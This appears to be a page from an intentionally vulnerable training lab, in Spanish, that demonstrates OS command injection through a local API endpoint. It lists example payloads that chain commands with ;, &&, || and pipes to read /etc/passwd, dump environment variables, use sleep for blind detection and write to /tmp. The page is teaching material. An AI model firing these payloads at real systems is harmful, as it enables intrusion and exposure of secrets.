CRITICAL

Command Injection

Ejecución de comandos del sistema operativo a través de entrada no sanitizada

Principiante

Modo Reto activo — explora libremente. Activa el Modo Tutorial si necesitas orientación.

Endpoint de la API:

Ejemplos de explotación:

Listar archivos

Comando básico para listar archivos del directorio actual

/api/lab/command-injection?cmd=ls

Ver usuario actual

Quién está ejecutando el proceso del servidor

/api/lab/command-injection?cmd=whoami

Encadenar comandos con ;

Ejecutar dos comandos: listar y leer /etc/passwd

/api/lab/command-injection?cmd=ls;cat /etc/passwd

Encadenar con && (si el primero tiene éxito)

Obtener info del kernel del sistema

/api/lab/command-injection?cmd=whoami && uname -a

Pipe — filtrar salida

Listar procesos y filtrar el servidor

/api/lab/command-injection?cmd=ps aux | grep node

Subcomando $() — Variables de entorno

Leer variables de entorno del proceso

/api/lab/command-injection?cmd=$(env)

Leer /etc/hostname

Nombre del host del servidor

/api/lab/command-injection?cmd=cat /etc/hostname

Leer /proc/version

Versión del kernel Linux

/api/lab/command-injection?cmd=cat /proc/version

Blind injection — sleep 3s

Confirmar ejecución de comandos mediante retardo de respuesta

/api/lab/command-injection?cmd=ls;sleep 3

Blind injection — ping 3 veces

Comprobar ejecución midiendo tiempo de respuesta con ping

/api/lab/command-injection?cmd=ping -c 3 127.0.0.1

OR lógico — el primero falla

Ejecutar el comando aunque el primero no exista

/api/lab/command-injection?cmd=noexiste || id

Escribir fichero en /tmp

Comprobar si se puede escribir en el sistema

/api/lab/command-injection?cmd=echo pwned > /tmp/aitana.txt && cat /tmp/aitana.txt

Vulnerabilidad Crítica

Este endpoint ejecuta comandos del sistema operativo sin validación. Un atacante puede inyectar comandos maliciosos usando separadores como ';', '&&', '||' o '|' para ejecutar código arbitrario en el servidor.

Ver Documentación Completa de la API

Esta aplicación es vulnerable por diseño - Solo para propósitos educativos